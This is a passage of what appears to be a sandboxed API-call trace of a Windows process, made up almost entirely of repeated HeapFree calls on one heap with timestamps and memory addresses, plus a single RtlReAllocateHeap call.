dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.587] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.587] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.588] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.589] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.589] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.590] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.590] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.591] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.591] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.592] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0088.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.593] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.595] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.596] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0088.825] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.826] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.830] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.833] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.835] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.837] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.840] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.842] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.844] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.844] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0088.851] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.857] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.859] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.862] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.865] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.868] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0088.868] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.060] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.062] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.064] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.064] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.065] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.065] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.067] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.070] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.073] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.073] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.073] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.073] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.077] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.077] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.077] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.077] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.078] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.078] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.078] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.079] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0089.079] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.079] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.085] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.087] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.090] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.092] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.094] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.094] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.640] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.641] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.643] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.645] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.647] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.649] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.649] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.649] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.649] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.649] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.651] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.652] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.653] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.653] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0089.655] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0089.655] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4298020, Size=0x200000) returned 0x47af020 [0090.087] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.087] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.089] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.091] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.092] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.094] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.094] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.098] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0090.098] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.100] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0090.100] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.102] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0090.102] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.105] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0090.105] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.106] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.497] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0090.497] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.497] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.500] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0090.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.505] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.508] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.513] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0090.516] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0090.516] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0090.516] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0090.517] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0090.517] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.520] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.520] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0090.524] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.525] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.525] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0090.526] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.527] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.527] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0090.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dc3a40 | out: hHeap=0x490000) returned 1 [0090.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.754] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.754] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0090.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0090.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0090.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0090.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0090.779] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0090.780] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.842] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.842] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.847] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.847] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.849] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.855] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.856] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.859] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0090.860] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0091.058] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.059] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0091.059] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.059] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.061] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.074] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0091.075] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e8baa0 | out: hHeap=0x490000) returned 1 [0091.075] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.075] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.083] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.087] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.087] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.432] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.436] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0091.436] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.437] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.441] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.445] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.446] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.450] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.452] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.453] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.454] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0091.457] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.458] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.459] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.460] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0091.460] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0091.460] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.466] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.469] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0091.469] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.470] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.472] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.474] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.474] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0091.474] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0091.481] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0091.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0091.482] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.442] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.451] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.460] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.461] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.461] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.461] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.483] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.491] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0092.509] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.512] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.512] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.513] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.518] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.520] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.520] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.520] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.520] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.522] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.522] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.522] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.523] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.524] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.524] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.524] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.837] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.841] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e7ba98 | out: hHeap=0x490000) returned 1 [0092.841] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0092.842] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0092.847] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e4ba80 | out: hHeap=0x490000) returned 1 [0092.849] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e6ba90 | out: hHeap=0x490000) returned 1 [0092.849] HeapFree (in: hHeap=0x490000, 